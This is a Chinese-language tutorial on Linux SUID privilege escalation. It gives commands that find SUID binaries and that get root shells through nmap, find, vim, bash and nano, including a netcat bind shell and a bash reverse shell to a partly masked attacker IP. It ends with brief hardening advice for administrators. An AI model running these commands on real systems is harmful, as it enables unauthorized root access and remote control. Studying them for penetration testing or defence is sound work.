对Linux|SUID提权的一些总结

SUID简介

通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。但是有一些程序比较特殊,比如我们常用的ping命令

suid即set user id,是一种授予文件的权限类型,它允许用户使用者以文件所有者的权限来执行文件

普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限

img

设置SUID

1
2
chmod u+s filename   设置SUID位
chmod u-s filename 去掉SUID设置

以下命令可以找出正在系统上运行的所有SUID可执行文件

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} ;

以下所有的二进制文件都将以root权限运行 我们随便找一个

可以看到其设置了suid权限,并且主权限为root

具体提权方法

Nmap

适用版本:nmap2.02至5.21

在早期nmap版本中,带有交互模式,因而允许用户执行shell命令

使用如下命令进入nmap交互模式:

1
nmap --interactive

在nmap交互模式中 通过如下命令提权

1
2
3
nmap> !sh
sh-4.4# whoami
root

nmap提权失败可能出现的原因:

nmap版本过高,限制了suid权限

find

find一般用于在系统中查找文件,同时也有执行命令的能力,所以如果find为SUID权限运行,则通过find执行的命令也都将以root的身份去运行

提权如下:

1
2
touch anyfile #必须要有这个文件
find anyfile -exec whoami \;

也可以利用nc进行广播或者反弹shell

广播shell:

1
find user -exec nc -lvp 4444 -e '/bin/sh' \;

在攻击机上:

1
nc 靶机ip 4444

反弹shell

1
find anyfile -exec bash -c 'bash -i >& /dev/tcp/114.xxx.xxx.96/4444 0>&1' \;

在攻击机上:

1
nc -lvvp 4444

Vim

用作编辑器,如果以SUID运行,可以读取并修改系统上所有文件

通过vim进入shell

1
2
3
4
vim.tiny
#vim命令
:set shell = '/bin/sh'
:shell

Bash

以下命令将以root身份打开一个bash shell。

1
2
3
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)

nano

nano进入shell的方法为

1
2
3
4
nano #进入nano编辑器
Ctrl + R
Ctrl + X
#即可输入命令

防范

SUID提权由来已久,属于一种古早的提权技术,但其生命力经久不衰。

这要求管理员要仔细研究具有SUID权限的文件,不要给易被利用的文件以SUID权限,防止SUID的滥用导致黑客在进入服务器时轻易获取root权限。